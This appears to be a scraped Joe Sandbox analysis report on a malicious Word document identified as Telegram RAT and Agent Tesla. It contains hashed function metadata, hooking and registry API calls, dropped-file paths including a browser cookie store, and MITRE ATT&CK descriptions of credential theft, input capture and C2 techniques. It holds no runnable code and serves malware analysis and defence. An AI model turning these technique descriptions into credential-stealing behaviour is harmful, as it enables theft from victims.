Opcode ID: 292ce8b9440e5bb754120908bd9ad2eacea52bfff74b3cb1445ae6dfb833e530
Instruction ID: 21ff2af4768e82cba1eb7646c1b172ca8e419b0de9738ab2742b2175d9317114
Opcode Fuzzy Hash: 292ce8b9440e5bb754120908bd9ad2eacea52bfff74b3cb1445ae6dfb833e530
Instruction Fuzzy Hash: 34C1A33490622CCFCB65DF28C988AA9F776BF49305F6089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C235C8 Relevance: 1.6, APIs: 1, Instructions: 112registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00C236D1

Memory Dump Source

Source File: 00000015.00000002.1192424329.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c20000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: bd5dc657168384bc57198e23e0216fa6184d241e13e27a4c98dffbb9a0ae4d7f
Instruction ID: 83980af8989c097ab2f190f11ba5ec64a5ee4efa8843bad7fd532e3c2638894e
Opcode Fuzzy Hash: bd5dc657168384bc57198e23e0216fa6184d241e13e27a4c98dffbb9a0ae4d7f
Instruction Fuzzy Hash: 304137B0E00298DFCB10CFA9D984A9EBFF5BF49700F15806AE818AB750D7749A05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00C23300 Relevance: 1.6, APIs: 1, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00C23414

Memory Dump Source

Source File: 00000015.00000002.1192424329.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c20000_RegSvcs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2c2e78000906e2b2b8808ce39f3be338527661a0f7d50609b154b1725671ffc1
Instruction ID: 0bb4fa26ade92996f79ff9f5731bdabdf6e2bc487f4048eb4624af5659675f33
Opcode Fuzzy Hash: 2c2e78000906e2b2b8808ce39f3be338527661a0f7d50609b154b1725671ffc1
Instruction Fuzzy Hash: 194149B0D09388CFDB01CFA8D548A9EFFF1AF49304F2581AAD508AB351C7759A45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C20BF8 Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00C23414

Memory Dump Source

Source File: 00000015.00000002.1192424329.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c20000_RegSvcs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8b24dc46d135876289bc89654d7bc3a77a2127d5ebaf0b2d8d4b7b65b38ed4fe
Instruction ID: 2aa9cacd9599742840afb37a0e48cdf7363409ab67fc44d74fe54616cd8817c9
Opcode Fuzzy Hash: 8b24dc46d135876289bc89654d7bc3a77a2127d5ebaf0b2d8d4b7b65b38ed4fe
Instruction Fuzzy Hash: 7B4135B0D042988FDB00CF99D588B9EFFF0BF49314F2581AAD409AB341C7759A45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C20C14 Relevance: 1.6, APIs: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00C236D1

Memory Dump Source

Source File: 00000015.00000002.1192424329.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c20000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e6577725b58ab4ec47f9c8333b5bbaff572c0e352c0cfe9839cff3e65a29672f
Instruction ID: d3e1e8a488556b01b5b3cb305329f10b784e9840ecdc1e4c78bce47dc6094fbf
Opcode Fuzzy Hash: e6577725b58ab4ec47f9c8333b5bbaff572c0e352c0cfe9839cff3e65a29672f
Instruction Fuzzy Hash: BD31D2B1D002589FCB10CF9AD984A9EFBF5BF48710F15812AE819AB750D7749A05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00C20C08 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00C23414

Memory Dump Source

Source File: 00000015.00000002.1192424329.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_c20000_RegSvcs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a7a334977eef97598d92a05a09d03b1ec468704a98412d28b5aad44824b8b993
Instruction ID: f2a5dae110b28b471ece546a654f2091d41d3cf743bb415b59a15850f6047474
Opcode Fuzzy Hash: a7a334977eef97598d92a05a09d03b1ec468704a98412d28b5aad44824b8b993
Instruction Fuzzy Hash: FC3101B0D042999FCB00CF99C588A9EFFF1AF49314F24816AE409AB301C7799A45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 020936D0 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02093753

Memory Dump Source

Source File: 00000015.00000002.1192579326.0000000002090000.00000040.00000800.00020000.00000000.sdmp, Offset: 02090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2090000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 2ffab0431b43dc203b87cd237ab32613a100d980315ee7ae59785b35cb5d5281
Instruction ID: 3d4f0f05369f45b9fffda59e081f3c1bbe061395966b05f79d1704f03f233293
Opcode Fuzzy Hash: 2ffab0431b43dc203b87cd237ab32613a100d980315ee7ae59785b35cb5d5281
Instruction Fuzzy Hash: 0E2135B5D002098FCB10CFA9D948BEEFBF1EB88314F10842AD42AA7250C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 020936D8 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02093753

Memory Dump Source

Source File: 00000015.00000002.1192579326.0000000002090000.00000040.00000800.00020000.00000000.sdmp, Offset: 02090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2090000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 5ed08d5569bdc5b689dc679c9a5bc54093676196670a07eadaf75fe9ccdc3ff3
Instruction ID: 5564f671953147550e0ae600af11950f1b401d428b15c2aadacb5aafe94bc920
Opcode Fuzzy Hash: 5ed08d5569bdc5b689dc679c9a5bc54093676196670a07eadaf75fe9ccdc3ff3
Instruction Fuzzy Hash: 262127B5D002098FCB14CF99D948BEEFBF5EB89314F10842AD419A7350C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CD514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190160450.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9f83a834e1e3e0dd13c20dbe82118e3cb9b6cafb0d3ec936614e4efa075b45
Instruction ID: 83e454999a8e917e1ca5f60f30ef045fe93001e9656ca83ee5aac06c383862de
Opcode Fuzzy Hash: be9f83a834e1e3e0dd13c20dbe82118e3cb9b6cafb0d3ec936614e4efa075b45
Instruction Fuzzy Hash: FB21FF71604244EFDB15DF14E984F2ABB71EBA8328F24856DE9094B246C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001CD428 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190160450.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ffa2e07f5161c3dd1dfad183dd8df4a4a2db95dc0c6f2988b238b43cf4de88
Instruction ID: f6571ab1bc804492958b2a1cd634f6cf14551319dd6f3136041a5b5df1ba64ba
Opcode Fuzzy Hash: 31ffa2e07f5161c3dd1dfad183dd8df4a4a2db95dc0c6f2988b238b43cf4de88
Instruction Fuzzy Hash: 68210671104244DFDB19CF14E9C4F26BB65FBA8324F20C57DEA054BA46C336E856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001DE3F0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190279581.00000000001DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1dd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dbaba1e4b05e84a233818d5baba8b558cb12ffcb5b1b3b1364ce3073b5347c0
Instruction ID: 4514a62855a96cf42cc076092a35f6666a2c597b551646cb771054d559aca951
Opcode Fuzzy Hash: 2dbaba1e4b05e84a233818d5baba8b558cb12ffcb5b1b3b1364ce3073b5347c0
Instruction Fuzzy Hash: 58210A70604244DFDB15EF24D984B26BBA1EB88318F24C56ED9498F346C336D846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001DE3C2 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190279581.00000000001DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1dd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ecb20920117a87efb7dd1ac3bb39c2adab579303759c775c42ca15ec8778791
Instruction ID: 6338d9f6a1a2d1b8e145497da61d54594e061cda35125ee2b0d07bccebf1f36a
Opcode Fuzzy Hash: 7ecb20920117a87efb7dd1ac3bb39c2adab579303759c775c42ca15ec8778791
Instruction Fuzzy Hash: AB216D755093809FDB02CB20D994711BFB1EB46314F29C5DBD8888F2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 001CD50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190160450.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction ID: d46e4ff72992eb7dfb4a0ca2010e44851cfe13147da296b0e81253a3cba9e5c9
Opcode Fuzzy Hash: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction Fuzzy Hash: 1211D376404280DFCB16CF14E5C4B1ABF71FB94324F24C6ADD8054B656C33AD956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001CD423 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1190160450.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1cd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction ID: cf1d7ff2e1551628c2250a93bf22408d0370f9b727fa18274f9250cada5195eb
Opcode Fuzzy Hash: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction Fuzzy Hash: 3811B176404280DFDB16CF10E5C4B16BF71FB94324F24C5ADD9094B656C336E856CBA2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ICPO07082299976.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\29B1D60A.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6D4CCCED.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0FBA591C-1198-4182-9EE3-9B1EEE452FAA}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A57256D0-EBE1-4542-8EF9-B2D4E6FF0AF4}.tmp

C:\Users\user\AppData\Local\Temp\Client.exe

C:\Users\user\AppData\Local\Temp\Client.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ICPO07082299976.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\dazigpcb.bar\Chrome\Default\Cookies

Windows Analysis Report
ICPO07082299976.doc

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre